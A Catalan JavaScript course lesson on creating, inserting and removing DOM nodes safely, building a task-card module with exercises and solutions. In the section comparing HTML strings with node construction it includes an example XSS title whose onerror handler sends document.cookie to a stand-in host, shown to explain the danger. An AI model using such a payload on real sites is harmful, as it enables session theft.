Fins aquí la pàgina de Nómada Tasques ha estat un motlle: uns <li> escrits a mà a l'HTML que omplíem amb dades del model. Això no escala. El backlog té sis tasques, a 06-07 se'n podran donar d'alta més, i ningú no editarà l'index.html cada vegada que la Marta n'afegeixi una. Una aplicació real construeix la seva interfície a partir de les dades. En aquesta lliçó aprendràs a crear nodes des de zero, a inserir-los exactament on vols, a eliminar-los i a buidar contenidors sense deixar fuites de memòria, a inserir cent elements sense castigar el navegador amb DocumentFragment, i a fer-ho tot de manera segura davant de la injecció d'HTML. El resultat serà vista/targeta.js: la funció que converteix una Tasca del model en el seu <li> complet, amb els seus botons i el seu data-id.

Contingut

  1. Crear nodes: createElement i createTextNode
  2. Clonar: cloneNode(true)
  3. Inserir amb els mètodes moderns
  4. insertAdjacentHTML i insertAdjacentElement
  5. Els mètodes antics, i per què continuen apareixent
  6. Eliminar i buidar contenidors
  7. DocumentFragment: molts nodes, una sola inserció
  8. Construir amb nodes davant d'injectar HTML
  9. Una funció auxiliar: crearElement(etiqueta, props, fills)
  10. <template> i content
  11. Nómada Tasques: vista/targeta.js
  12. Errors Habituals i Consells
  13. Exercicis
  14. Conclusió

  1. Crear nodes: createElement i createTextNode

document.createElement(etiqueta) fabrica un element nou. Important: neix fora de l'arbre, al llimb. No es veu enlloc fins que l'insereixes.

const li = document.createElement('li');
console.log(li);                    // <li></li>
console.log(li.parentElement);      // null   ← encara no és al document
console.log(document.contains(li)); // false

Mentre és fora de l'arbre el pots configurar amb tot el que vas aprendre a 06-02, i és la manera més eficient de treballar: construir primer, inserir al final, perquè els canvis sobre un element desconnectat no obliguen el navegador a recalcular res.

const li = document.createElement('li');
li.className = 'tasca tasca--alta';        // aquí sí que val className: l'element és nou
li.dataset.id = '6';
li.dataset.estat = 'pendent';
li.setAttribute('aria-label', 'Pressupost de la fusteria, prioritat alta');

document.querySelector('#llista-tasques').append(li);   // ara sí que apareix a la pantalla

document.createTextNode(text) crea un node de text (el tipus 3 de 06-01). Gairebé mai el necessitaràs explícitament, perquè textContent i append ho fan per tu, però convé saber que existeix i que és immune a la interpretació d'HTML:

const text = document.createTextNode('Redisseny <urgent> & revisió');
li.append(text);
// A la pantalla es llegeix literalment: Redisseny <urgent> & revisió

De fet, append accepta cadenes directament i les converteix en nodes de text, amb la mateixa seguretat:

li.append('Redisseny <urgent> & revisió');   // idèntic a l'exemple anterior

Existeixen dos mètodes germans que veuràs de tant en tant: document.createComment(text) per a comentaris i document.createDocumentFragment() per al contenidor lleuger de l'apartat 7.

  1. Clonar: cloneNode(true)

node.cloneNode(profund) fa una còpia. L'argument decideix si copia només el node o també tot el seu contingut:

const plantilla = document.querySelector('#llista-tasques li');

const superficial = plantilla.cloneNode(false);   // només el <li>, buit per dins
const profund     = plantilla.cloneNode(true);    // el <li> amb tots els seus descendents

console.log(superficial.children.length);   // 0
console.log(profund.children.length);       // 3  ← span, span, button

Tres advertències importants sobre el clonatge:

  • Copia els atributs, inclosos els id. Si l'original tenia id="resum", el clon també, i tindràs dos elements amb el mateix id al document: querySelector('#resum') retornarà només el primer i no sabràs mai quin és. Canvia o esborra l'id del clon.
  • NO copia els gestors registrats amb addEventListener. Això és un avantatge disfressat: el clon neix net, i amb delegació (06-04) ni ho notes, perquè el gestor és al contenidor.
  • Sí que copia els atributs on… en línia, un motiu més per no fer-los servir mai.
const clon = plantilla.cloneNode(true);
clon.removeAttribute('id');          // higiene obligatòria si l'original tenia id
clon.dataset.id = '7';               // i actualitza el que identifiqui el nou

  1. Inserir amb els mètodes moderns

La família moderna d'inserció és còmoda, uniforme i admet diversos arguments i cadenes de text. Tots accepten qualsevol nombre de nodes i/o strings.

Mètode On insereix Es crida sobre
pare.append(...) Al final dels fills El contenidor
pare.prepend(...) Al principi dels fills El contenidor
elem.before(...) Just abans de l'element, com a germà El germà de referència
elem.after(...) Just després de l'element, com a germà El germà de referència
elem.replaceWith(...) Substitueix l'element L'element a substituir
pare.replaceChildren(...) Substitueix tots els fills (sense arguments, buida) El contenidor
const llista = document.querySelector('#llista-tasques');
const nova = document.createElement('li');
nova.textContent = 'Revisar la guillotina per enquadernar';

llista.append(nova);                    // al final
llista.prepend(nova);                   // ← la MOU al principi (vegeu la nota de sota)

const primera = llista.firstElementChild;
primera.after(nova);                    // com a segon element
primera.before('Avís: ', nova);         // diversos arguments: text i node

nova.replaceWith(document.createElement('li'));   // substituïda
llista.replaceChildren();               // llista buida

Un node només pot ser en un lloc. Si insereixes un element que ja és a l'arbre, no es duplica: es mou. És un comportament molt útil per reordenar llistes, i una font de desconcert si no t'ho esperes:

const li = llista.firstElementChild;
llista.append(li);          // no n'hi ha dos: el primer s'ha convertit en l'últim

Per tenir dues còpies cal clonar explícitament: llista.append(li.cloneNode(true)).

  1. insertAdjacentHTML i insertAdjacentElement

Aquests dos mètodes permeten inserir en una de quatre posicions relatives a l'element, expressades amb una cadena:

<!-- beforebegin -->
<li class="tasca">
  <!-- afterbegin -->
  contingut
  <!-- beforeend -->
</li>
<!-- afterend -->
Posició On queda
'beforebegin' Abans de l'element, com a germà anterior
'afterbegin' A dins, com a primer fill
'beforeend' A dins, com a últim fill
'afterend' Després de l'element, com a germà següent
const li = document.querySelector('[data-id="6"]');

li.insertAdjacentElement('beforeend', document.createElement('button'));
li.insertAdjacentHTML('afterbegin', '<span class="tasca__marca">⚠</span>');

insertAdjacentHTML té un avantatge real davant d'innerHTML +=: no destrueix ni recrea els nodes existents, només afegeix. Però comparteix el seu gran defecte: interpreta HTML, així que arrossega el mateix risc d'XSS de 06-02.

// ✗ Mai amb dades que no controles
li.insertAdjacentHTML('beforeend', `<span>${tasca.titol}</span>`);
// Si el títol és '<img src=x onerror=…>', acabes d'executar codi aliè.

// ✓ Amb marcatge literal que has escrit tu, sense interpolar dades, és acceptable
li.insertAdjacentHTML('beforeend', '<span class="tasca__marca" aria-hidden="true">⚠</span>');

La regla és la de sempre: HTML com a cadena només quan és constant. Tan bon punt hi ha una interpolació de dades, o escapes (06-06) o construeixes amb nodes.

  1. Els mètodes antics, i per què continuen apareixent

Abans de la família moderna existien tres mètodes que veuràs en qualsevol codi amb uns quants anys. Val la pena conèixer-los per llegir-los, encara que no els escriguis.

Antic Modern equivalent Diferències
pare.appendChild(node) pare.append(node) L'antic admet un sol node, no accepta strings, i retorna el node inserit
pare.insertBefore(nou, ref) ref.before(nou) L'antic es crida sobre el pare i necessita la referència; amb ref = null insereix al final
pare.removeChild(fill) fill.remove() L'antic necessita conèixer el pare; el modern no
pare.replaceChild(nou, vell) vell.replaceWith(nou) Igual: l'antic exigeix el pare
// Antic
const li = document.createElement('li');
llista.appendChild(li);
llista.insertBefore(li, llista.firstChild);
llista.removeChild(li);

// Modern
llista.append(li);
llista.prepend(li);
li.remove();

Els moderns guanyen en tot tret d'un detall: appendChild retorna el node, cosa que permet encadenar (const p = div.appendChild(document.createElement('p'))), mentre que append retorna undefined. És un inconvenient menor i es resol amb una variable.

  1. Eliminar i buidar contenidors

Eliminar un element és trivial:

document.querySelector('[data-id="4"]')?.remove();

Buidar un contenidor té tres formes, i no són equivalents:

// Opció A · la moderna i recomanada
llista.replaceChildren();

// Opció B · la clàssica amb cadena buida
llista.innerHTML = '';

// Opció C · a mà, node a node
while (llista.firstChild) llista.firstChild.remove();
Forma Llegibilitat Analitza HTML Notes
replaceChildren() Alta No La preferible; també serveix per reemplaçar en una operació
innerHTML = '' Alta Sí (una cadena buida, però passa per l'analitzador) Funciona, però convida a innerHTML = '<li>…' amb dades
Bucle while Baixa No Només per compatibilitat amb navegadors molt antics

replaceChildren és especialment elegant perquè també accepta el contingut nou, amb la qual cosa buidar i omplir és una sola operació:

llista.replaceChildren(...tasques.map(crearTargeta));   // buida i omple de cop

El matís dels gestors i les fuites de memòria. Quan elimines un element del DOM, els seus gestors desapareixen amb ell… sempre que ningú més no en desi una referència. Si el vas desar en un array, en un Map o al closure d'una altra funció, l'element continua viu en memòria encara que no sigui a la pàgina, juntament amb tot el seu subarbre i els seus gestors. Això és una fuita de memòria.

// ✗ Fuita: l'array reté els elements encara que s'hagin tret de la pàgina
const cacheDeTargetes = [];
for (const tasca of tauler.tasques) {
  const li = crearTargeta(tasca);
  cacheDeTargetes.push(li);        // referència forta que sobreviu al remove()
  llista.append(li);
}
llista.replaceChildren();          // la pàgina es buida, la memòria no

// ✓ Si necessites una memòria cau, neteja-la també
cacheDeTargetes.length = 0;

Aquest és exactament un dels patrons que s'analitzen a Gestió de Memòria. I és un altre argument a favor de la delegació de 06-04: si l'únic gestor és al <ul>, que no s'elimina mai, no hi ha res a netejar en esborrar targetes.

Un últim apunt: si elimines l'element que tenia el focus, el focus es perd i torna a document.body. Qui navega amb teclat es queda sense posició. La solució és moure el focus a un lloc raonable abans d'eliminar:

const li = boto.closest('li[data-id]');
const seguent = li.nextElementSibling ?? li.previousElementSibling;
li.remove();
(seguent?.querySelector('button') ?? llista).focus();

  1. DocumentFragment: molts nodes, una sola inserció

Inserir sis elements d'un en un significa tocar l'arbre sis vegades:

// Sis insercions al document viu
for (const tasca of tauler.tasques) {
  llista.append(crearTargeta(tasca));
}

Un DocumentFragment és un contenidor lleuger fora de l'arbre (el nodeType 11 de 06-01). El pots omplir sense que el navegador hagi de recalcular res, i en inserir-lo passa una cosa especial: el fragment es dissol i només hi entren els seus fills.

const fragment = document.createDocumentFragment();

for (const tasca of tauler.tasques) {
  fragment.append(crearTargeta(tasca));   // fora de l'arbre: sense cost de repintat
}

llista.append(fragment);    // UNA sola operació sobre el document
console.log(fragment.childNodes.length);  // 0  ← s'ha buidat en inserir-se
console.log(llista.children.length);      // 6

És l'equivalent a portar la compra en una bossa en lloc de a grapats: menys viatges.

Convé ser honest sobre la magnitud del benefici. Els navegadors moderns agrupen la feina de disseny i no repinten després de cada append, així que amb sis tasques la diferència és inapreciable. Amb milers de files, o quan entre inserció i inserció llegeixes geometria (el layout thrashing de 06-02), sí que es nota. El mesurament seriós és el tema de Manipulació Eficient del DOM.

Dit això, hi ha una raó per fer-lo servir que no depèn del rendiment: replaceChildren amb spread fa el mateix de manera més llegible, i aquella és la forma que adoptarem:

llista.replaceChildren(...tauler.tasques.map(crearTargeta));

Una crida, contingut nou complet, sense fragment explícit i sense innerHTML.

  1. Construir amb nodes davant d'injectar HTML

Aquest és el punt de criteri de la lliçó. Hi ha dues maneres de produir la targeta d'una tasca:

// Opció 1 · cadena d'HTML
llista.innerHTML += `
  <li class="tasca tasca--${tasca.prioritat}" data-id="${tasca.id}">
    <span class="tasca__titol">${tasca.titol}</span>
    <button data-accio="avancar">Començar</button>
  </li>`;

// Opció 2 · nodes
const li = document.createElement('li');
li.className = `tasca tasca--${tasca.prioritat}`;
li.dataset.id = tasca.id;
const titol = document.createElement('span');
titol.className = 'tasca__titol';
titol.textContent = tasca.titol;                // ← segur per construcció
li.append(titol);
Aspecte Cadena d'HTML Construcció amb nodes
Llegibilitat de l'estructura Alta: se'n veu la forma d'un cop d'ull Mitjana: cal llegir diverses línies
Seguretat amb dades externes Perillosa: XSS si no escapes Segura: textContent no interpreta res
Conservació de nodes existents innerHTML += els destrueix i recrea Els respecta
Gestors i focus Es perden en reassignar Es conserven
Referències als nodes creats Cal tornar-los a buscar Ja les tens
Cost Analitzar HTML Crides a mètodes

El problema de seguretat és concret i no teòric. Si l'Iván dona d'alta una tasca titulada <img src=x onerror="fetch('https://dolent.example/roba?c='+document.cookie)">, l'opció 1 executa aquell codi en el context de la teva pàgina. L'opció 2 mostra el text literal i no executa res.

A més, innerHTML += té un defecte addicional molt poc intuïtiu: no afegeix, reconstrueix. Llegeix tot l'HTML interior, hi concatena la teva cadena i el torna a analitzar sencer. Tots els nodes anteriors es destrueixen i es recreen: es perd el focus, es perd el text seleccionat i es perd l'estat de qualsevol <input> que hi hagués dins.

Decisió per a la resta del curs: construïm amb nodes. A 06-06 veuràs l'alternativa intermèdia —plantilles amb template literals més una funció escaparHtml obligatòria— i a l'apartat 10 d'aquesta lliçó, la millor de totes per a estructures fixes: <template>.

  1. Una funció auxiliar: crearElement(etiqueta, props, fills)

Construir amb nodes és segur però verbós. Una funció auxiliar de quinze línies recupera la llegibilitat sense perdre la seguretat. Aquesta serà una peça estable del projecte:

// js/vista/dom.js

/**
 * Crea un element configurat en una sola expressió.
 * @param {string} etiqueta  'li', 'button', 'span'…
 * @param {object} props     classes, dataset, atributs i propietats
 * @param {Array}  fills     nodes o cadenes (les cadenes s'insereixen com a TEXT)
 * @returns {HTMLElement}
 */
export function crearElement(etiqueta, props = {}, fills = []) {
  const element = document.createElement(etiqueta);

  for (const [clau, valor] of Object.entries(props)) {
    if (valor === null || valor === undefined || valor === false) continue;

    if (clau === 'classes') {
      element.classList.add(...[].concat(valor).filter(Boolean));
    } else if (clau === 'dataset') {
      Object.assign(element.dataset, valor);
    } else if (clau === 'text') {
      element.textContent = valor;                 // ✓ mai innerHTML
    } else if (clau in element) {
      element[clau] = valor;                       // propietats: disabled, value, type…
    } else {
      element.setAttribute(clau, valor);           // atributs: aria-*, role…
    }
  }

  element.append(...[].concat(fills).filter(Boolean));
  return element;
}

/** Dreceres de selecció, per no repetir document.querySelector per tot arreu. */
export const $  = (sel, arrel = document) => arrel.querySelector(sel);
export const $$ = (sel, arrel = document) => [...arrel.querySelectorAll(sel)];

Val la pena entendre tres decisions del codi:

  • clau in element distingeix propietats d'atributs. disabled, value, type, id i hidden existeixen com a propietats de l'objecte DOM, i assignar-les directament és el correcte (06-02). Els aria-* i role no existeixen com a propietats, així que cauen a setAttribute. La comprovació resol l'elecció automàticament.
  • text fa servir textContent. No hi ha cap opció a l'API que interpreti HTML: és impossible provocar un XSS a través d'aquesta funció, i aquella impossibilitat és justament l'objectiu.
  • [].concat(valor) accepta indistintament un valor solt o un array, i el filter(Boolean) descarta els null i false, cosa que permet escriure fills condicionals sense if.

Amb ella, la targeta es llegeix gairebé com l'HTML que produeix:

const li = crearElement('li', {
  classes: ['tasca', `tasca--${tasca.prioritat}`],
  dataset: { id: tasca.id, estat: tasca.estat }
}, [
  crearElement('span', { classes: 'tasca__titol', text: tasca.titol }),
  crearElement('button', { type: 'button', text: 'Començar', dataset: { accio: 'avancar' } })
]);

  1. <template> i content

Hi ha una tercera via que combina el millor de les dues: declarar l'estructura a l'HTML, on es llegeix d'un cop d'ull, i omplir només les dades des de JavaScript, amb textContent.

L'element <template> conté marcatge que el navegador analitza però no mostra ni activa: les seves imatges no es descarreguen, els seus scripts no s'executen i no apareix a la pàgina.

<template id="plantilla-tasca">
  <li class="tasca">
    <span class="tasca__titol"></span>
    <span class="tasca__meta"></span>
    <span class="tasca__etiquetes"></span>
    <button type="button" class="tasca__accio" data-accio="avancar"></button>
    <button type="button" class="tasca__accio" data-accio="reobrir">Reobrir</button>
  </li>
</template>

El seu contingut viu a la propietat content, que és un DocumentFragment. Per fer-lo servir cal clonar-lo, perquè l'original ha de continuar intacte per al següent ús:

const plantilla = document.querySelector('#plantilla-tasca');

const fragment = plantilla.content.cloneNode(true);   // ✓ còpia profunda
const li = fragment.querySelector('li');              // ara ja el pots configurar

li.dataset.id = tasca.id;
li.querySelector('.tasca__titol').textContent = tasca.titol;
llista.append(li);

Errors típics amb <template>:

// ✗ Oblidar .content: el <template> en si no conté el <li> com a fill normal
plantilla.querySelector('li');            // null

// ✗ Oblidar clonar: mous el contingut fora de la plantilla i la buides
llista.append(plantilla.content);         // la plantilla queda inservible per a la propera

// ✓ Correcte
llista.append(plantilla.content.cloneNode(true));
Enfocament Estructura visible Seguretat Quan fer-lo servir
createElement + crearElement Al JavaScript Segura Estructures dinàmiques o condicionals
<template> + cloneNode A l'HTML Segura (omples amb textContent) Estructures fixes que es repeteixen
Template literal + innerHTML Al JavaScript Perillosa sense escapar Només amb marcatge constant

Per a una llista de targetes idèntiques, <template> sol ser la millor opció: l'estructura la pot tocar qui maqueta sense obrir el JavaScript, i el codi queda en tres línies d'assignació.

  1. Nómada Tasques: vista/targeta.js

Ajuntem-ho tot. Aquest mòdul converteix una Tasca del model en el seu <li> complet. Fa servir crearElement per tenir control total i no dependre que l'HTML contingui la plantilla; al final veuràs la variant amb <template>.

// js/vista/targeta.js
import { crearElement } from './dom.js';
import { AVUI } from '../util/dates.js';
import { marcaEstat } from '../util/format.js';

const CLASSE_PRIORITAT = Object.freeze({
  alta: 'tasca--alta', mitjana: 'tasca--mitjana', baixa: 'tasca--baixa'
});
const SEGUENT = Object.freeze({ pendent: 'en-curs', 'en-curs': 'feta', feta: null });
const ETIQUETA = Object.freeze({
  pendent: 'Començar', 'en-curs': 'Marcar feta', feta: 'Completada'
});

/**
 * Converteix una Tasca del model en el seu element <li>.
 * No registra cap gestor: els clics s'atenen per delegació (06-04).
 */
export function crearTargeta(tasca, avui = AVUI) {
  const vencuda = tasca.estaVencuda(avui);

  const titol = crearElement('span', {
    classes: 'tasca__titol',
    text: tasca.titol                         // ← textContent: segur amb qualsevol títol
  });

  const meta = crearElement('span', {
    classes: 'tasca__meta',
    text: `${marcaEstat(tasca.estat)} ${tasca.responsable ?? 'sense assignar'} · ` +
          `${tasca.horesEstimades} h · ${tasca.estat}` +
          (vencuda ? ` · vençuda fa ${Math.abs(tasca.diesRestants)} dies` : '')
  });

  const etiquetes = crearElement('ul', { classes: 'tasca__etiquetes' },
    tasca.etiquetes.map((e) => crearElement('li', { classes: 'etiqueta', text: e }))
  );

  const avancar = crearElement('button', {
    type: 'button',
    classes: 'tasca__accio',
    dataset: { accio: 'avancar' },
    disabled: SEGUENT[tasca.estat] === null,
    'aria-label': `${ETIQUETA[tasca.estat]}: ${tasca.titol}`,
    text: ETIQUETA[tasca.estat]
  });

  const reobrir = crearElement('button', {
    type: 'button',
    classes: 'tasca__accio',
    dataset: { accio: 'reobrir' },
    disabled: tasca.estat !== 'en-curs',
    'aria-label': `Tornar a pendent: ${tasca.titol}`,
    text: 'Reobrir'
  });

  return crearElement('li', {
    classes: ['tasca', CLASSE_PRIORITAT[tasca.prioritat], vencuda && 'tasca--vencuda',
              tasca.estat === 'feta' && 'tasca--feta'],
    dataset: { id: tasca.id, estat: tasca.estat, responsable: tasca.responsable ?? '' },
    tabindex: '-1'                            // enfocable per codi, no amb Tab
  }, [titol, meta, etiquetes, avancar, reobrir]);
}

Fixa't en tres detalls:

  • vencuda && 'tasca--vencuda' produeix false quan no aplica, i el filter(Boolean) de crearElement ho descarta. És la forma idiomàtica d'una classe condicional sense escriure un if.
  • tabindex="-1" fa el <li> enfocable per programa (li.focus()) però no el fica a l'ordre del tabulador. Serveix per tornar el focus a una targeta després de redibuixar-la, a 06-06.
  • La targeta no registra ni un sol gestor. Es pot crear, clonar, destruir i recrear lliurement, perquè l'únic gestor viu al <ul>. Aquell és el dividend de la delegació de 06-04.

I així es fa servir, amb replaceChildren per pintar la llista sencera:

// js/app.js
import { Tauler } from './model/tauler.js';
import { crearBacklog } from './dades/backlog.js';
import { AVUI } from './util/dates.js';
import { crearTargeta } from './vista/targeta.js';
import { connectarTauler } from './vista/controlador.js';
import { $ } from './vista/dom.js';

const tauler = new Tauler('Taller Nómada', crearBacklog());
const llista = $('#llista-tasques');

// Les SIS tasques, creades des del model. L'HTML ja no porta cap <li>.
llista.replaceChildren(...tauler.tasques.map((t) => crearTargeta(t, AVUI)));

connectarTauler({ llista, resum: $('#resum'), tauler, avui: AVUI });

L'index.html se simplifica: el <ul id="llista-tasques"> queda buit, perquè el seu contingut el genera el model.

<ul id="llista-tasques" class="llista-tasques" aria-live="polite"></ul>

Aquell aria-live="polite" fa que un lector de pantalla anunciï els canvis de la llista sense interrompre. Amb les sis targetes a la pantalla, el resum continua donant els números canònics: 6 tasques, 5 obertes, 45 h pendents, 1 vençuda, esforç 124.

La variant amb <template>, per si prefereixes tenir l'estructura a l'HTML:

// js/vista/targeta.js — versió amb plantilla
import { $ } from './dom.js';

export function crearTargetaDesDePlantilla(tasca, avui = AVUI) {
  const li = $('#plantilla-tasca').content.firstElementChild.cloneNode(true);

  li.dataset.id = tasca.id;
  li.dataset.estat = tasca.estat;
  li.classList.add(CLASSE_PRIORITAT[tasca.prioritat]);
  li.classList.toggle('tasca--vencuda', tasca.estaVencuda(avui));
  li.classList.toggle('tasca--feta', tasca.estat === 'feta');

  $('.tasca__titol', li).textContent = tasca.titol;
  $('.tasca__meta', li).textContent = `${tasca.responsable ?? 'sense assignar'} · ${tasca.horesEstimades} h`;

  const avancar = $('[data-accio="avancar"]', li);
  avancar.textContent = ETIQUETA[tasca.estat];
  avancar.disabled = SEGUENT[tasca.estat] === null;

  return li;
}

Totes dues són correctes. La primera dona més control i no depèn de l'HTML; la segona separa millor maquetació i lògica. Tria'n una i sigues coherent.

Errors Habituals i Consells

  • Crear un element i oblidar-se d'inserir-lo. createElement no l'afegeix a la pàgina. Si «no es veu res», comprova que hi ha un append en algun lloc.
  • Esperar que inserir dupliqui. Un node només pot ser en un lloc: inserir-ne un que ja era a l'arbre el mou. Per duplicar, cloneNode(true).
  • Clonar un element amb id i no canviar-lo. Acabes amb ids duplicats i querySelector retorna sempre el primer. Esborra o reanomena l'id del clon.
  • Oblidar .content o el clonatge amb <template>. plantilla.querySelector('li') dona null; append(plantilla.content) buida la plantilla per sempre. La forma correcta és plantilla.content.cloneNode(true).
  • Fer servir innerHTML += per afegir. No afegeix: reconstrueix tot l'interior, amb la qual cosa es perden focus, selecció, estat de camps i gestors directes. Fes servir append o insertAdjacentHTML.
  • Interpolar dades en cadenes d'HTML. És la porta a l'XSS. Amb dades, sempre textContent o nodes; amb marcatge constant, insertAdjacentHTML és acceptable.
  • Desar nodes eliminats en arrays o Map. Impedeix que el navegador alliberi la memòria. Si tens una memòria cau de nodes, neteja-la quan buidis el contenidor.
  • Eliminar l'element que tenia el focus sense recol·locar-lo. Qui fa servir teclat es queda a body. Mou el focus al germà següent o al contenidor abans d'eliminar.
  • Consell: construeix fora de l'arbre i connecta al final. Tot el que facis sobre un element desconnectat és de franc per al navegador. És el mateix principi de DocumentFragment i de replaceChildren(...).
  • Consell: una funció crearElement ben feta s'amortitza a la primera pantalla. Dona la llegibilitat de la plantilla amb la seguretat dels nodes, i fa impossible per construcció que una dada acabi interpretant-se com a HTML.

Exercicis

Exercici 1 · Un separador per prioritat

Escriu inserirSeparadors(llista) que recorri els <li> ja pintats i, cada vegada que canviï la prioritat respecte de l'anterior, insereixi abans d'aquell <li> un element <li class="separador" role="presentation"> amb el text Prioritat alta, Prioritat mitjana o Prioritat baixa. Ha de funcionar sense duplicar separadors si es crida dues vegades. Fes servir before() i crearElement.

Exercici 2 · Buidar i mesurar

Escriu dues funcions, pintarAmbBucle(llista, tasques) i pintarDeCop(llista, tasques). La primera buida i fa un append per tasca; la segona fa servir replaceChildren(...) amb el spread. Comprova amb console.time/console.timeEnd quant triguen amb les 6 tasques i amb 5.000 generades repetint el backlog. Comenta els resultats amb honestedat.

Exercici 3 · Targeta amb plantilla i focus conservat

Afegeix a l'HTML un <template id="plantilla-tasca"> i escriu reemplacarTargeta(li, tasca) que substitueixi un <li> existent per una targeta acabada de crear amb replaceWith(), conservant el focus: si l'element actiu era dins del <li> que se substitueix, el focus ha d'acabar al botó equivalent de la targeta nova. Explica com detectes quin era el botó equivalent.

Solucions

Exercici 1

import { crearElement, $$ } from './vista/dom.js';

const NOM = { alta: 'Prioritat alta', mitjana: 'Prioritat mitjana', baixa: 'Prioritat baixa' };

export function inserirSeparadors(llista) {
  // Idempotència: traiem els separadors anteriors abans de res
  $$('.separador', llista).forEach((s) => s.remove());

  let anterior = null;
  for (const li of $$('li[data-id]', llista)) {
    const prioritat = [...li.classList]
      .find((c) => c.startsWith('tasca--') && c.slice(7) in NOM)?.slice(7);

    if (prioritat !== anterior) {
      li.before(crearElement('li', {
        classes: 'separador',
        role: 'presentation',
        text: NOM[prioritat]
      }));
      anterior = prioritat;
    }
  }
}

Dues claus. La idempotència s'aconsegueix netejant primer: sense aquell remove() inicial, cada crida hi afegiria una altra tanda de separadors. I el selector li[data-id] és essencial al bucle: si recorreguéssim tots els <li>, els separadors acabats d'inserir també entrarien a la iteració. El role="presentation" indica al lector de pantalla que aquell <li> no és un element real de la llista, sinó un encapçalament visual.

Exercici 2

function pintarAmbBucle(llista, tasques) {
  llista.replaceChildren();
  for (const t of tasques) llista.append(crearTargeta(t));
}

function pintarDeCop(llista, tasques) {
  llista.replaceChildren(...tasques.map((t) => crearTargeta(t)));
}

const moltes = Array.from({ length: 5000 }, (_, i) => {
  const base = tauler.tasques[i % 6];
  return Object.assign(Object.create(Object.getPrototypeOf(base)), base, { id: i + 1 });
});

console.time('bucle');  pintarAmbBucle(llista, moltes); console.timeEnd('bucle');
console.time('de cop'); pintarDeCop(llista, moltes);    console.timeEnd('de cop');

Resultats típics en un portàtil corrent: amb 6 tasques totes dues ronden 1 ms i la diferència és pur soroll de mesurament. Amb 5.000, la versió de cop sol quedar entre un 10 % i un 30 % per davant, però el gruix del temps se l'endú crear les 5.000 targetes, no inserir-les.

La conclusió honesta és que la insistència clàssica en DocumentFragment està una mica sobrevalorada per al cas normal: els navegadors moderns no repinten després de cada append. replaceChildren(...) es prefereix per claredat, no per velocitat. I la lliçó de fons és la de 09-01: mesura abans d'optimitzar, perquè la intuïció sobre rendiment s'equivoca gairebé sempre.

Exercici 3

export function reemplacarTargeta(li, tasca, avui = AVUI) {
  // 1 · El focus era a dins? Desem QUIN botó era, no la referència
  const actiu = document.activeElement;
  const teniaFocus = li.contains(actiu);
  const accioEnfocada = teniaFocus ? actiu.dataset.accio ?? null : null;

  // 2 · Construïm la targeta nova i substituïm
  const nova = crearTargeta(tasca, avui);
  li.replaceWith(nova);

  // 3 · Restaurem el focus al botó equivalent
  if (teniaFocus) {
    const desti = accioEnfocada !== null
      ? nova.querySelector(`[data-accio="${accioEnfocada}"]`)
      : null;
    (desti !== null && !desti.disabled ? desti : nova).focus();
  }
  return nova;
}

El botó equivalent s'identifica per la seva data-accio, no per la seva posició ni per una referència al node antic (que acaba de deixar d'existir). És el mateix principi que el data-id de les targetes: una clau estable que sobreviu a la recreació del DOM. I el tabindex="-1" del <li> és el que permet l'alternativa nova.focus() quan el botó equivalent ha quedat desactivat —per exemple, després de marcar la tasca com a feta—: sense ell, el focus cauria a document.body i qui navega amb teclat perdria la seva posició a la llista.

Aquest problema —redibuixar i perdre el focus— és precisament el que dona peu a la lliçó següent.

Conclusió

Ja no depens de l'HTML escrit a mà: saps fabricar la interfície. Crees nodes amb createElement (que neixen fora de l'arbre, i per això configurar-los és de franc) i amb createTextNode, i els copies amb cloneNode(true), recordant que el clon arrossega l'id però no els gestors d'addEventListener. Els insereixes amb la família moderna —append, prepend, before, after, replaceWith, replaceChildren—, que admet diversos arguments i cadenes de text, sabent que inserir un node que ja era a l'arbre el mou en lloc de duplicar-lo. Coneixes insertAdjacentHTML/insertAdjacentElement amb les seves quatre posicions (beforebegin, afterbegin, beforeend, afterend) i l'avís que el primer interpreta HTML. I reconeixes els mètodes antics appendChild, insertBefore, removeChild i replaceChild per llegir codi heretat, encara que escriguis els moderns.

Saps eliminar amb remove() i buidar amb replaceChildren(), que és preferible a innerHTML = '' perquè no passa per l'analitzador d'HTML i perquè la mateixa crida permet buidar i omplir alhora. Tens clar el matís que importa: els gestors desapareixen amb l'element tret que algú retingui una referència en un array, un Map o un closure, i aquell és l'origen d'una fuita de memòria clàssica; i que eliminar l'element enfocat deixa qui navega amb teclat sense posició. Coneixes DocumentFragment per agrupar insercions, juntament amb la valoració honesta del seu impacte real, i saps que replaceChildren(...nodes) aconsegueix el mateix amb més claredat.

Sobretot, tens el criteri de construcció: nodes davant de cadenes. Interpolar dades en HTML és la porta directa a l'XSS, i innerHTML += ni tan sols afegeix —reconstrueix l'interior sencer i s'emporta per davant el focus, la selecció i l'estat—. La resposta és crearElement(etiqueta, props, fills) a vista/dom.js, que distingeix propietats d'atributs amb clau in element, accepta classes condicionals i fa servir textContent sempre; o bé <template> amb content.cloneNode(true) quan l'estructura és fixa i prefereixes tenir-la a l'HTML. Amb aquelles peces has escrit vista/targeta.js: crearTargeta(tasca) retorna el <li> complet d'una tasca, amb la seva prioritat, la seva marca de vençuda, les seves etiquetes, els seus dos botons amb data-accio i el seu data-id, sense registrar ni un sol gestor, perquè d'això ja se n'ocupa la delegació. El <ul> de l'HTML ha quedat buit i les sis tasques del backlog es pinten des del model.

Falta el pas que converteix tot això en una aplicació de debò: redibuixar quan les dades canvien. Ara mateix pintes una vegada en arrencar i després apedaces cada <li> a mà. El natural és tenir una funció render(estat) que dibuixi el tauler sencer a partir del Tauler, i repetir-la després de cada canvi. Però això porta el seu propi problema, que ja has fregat a l'últim exercici: redibuixar-ho tot destrueix els nodes, i amb ells se'n van el focus, el desplaçament i el que hagués escrit l'usuari. Com s'organitza el cicle estat → render → esdeveniment → estat nou → render, com s'agrupen les tasques per columnes, com s'escapen les dades si decideixes fer servir plantilles de text, i com s'actualitza només el que ha canviat reutilitzant nodes pel seu data-id, és Renderitzat de Llistes i Plantilles HTML.

Curs de JavaScript: De Principiant a Avançat

Mòdul 1: Introducció a JavaScript

Mòdul 2: Estructures de Control

Mòdul 3: Funcions

Mòdul 4: Objectes i Arrays

Mòdul 5: Objectes i Funcions Avançades

Mòdul 6: El Model d'Objectes del Document (DOM)

Mòdul 7: APIs del Navegador i Temes Avançats

Mòdul 8: Proves i Depuració

Mòdul 9: Rendiment i Optimització

Mòdul 10: Frameworks i Llibreries de JavaScript

Mòdul 11: Projecte Final

© Copyright 2026. Tots els drets reservats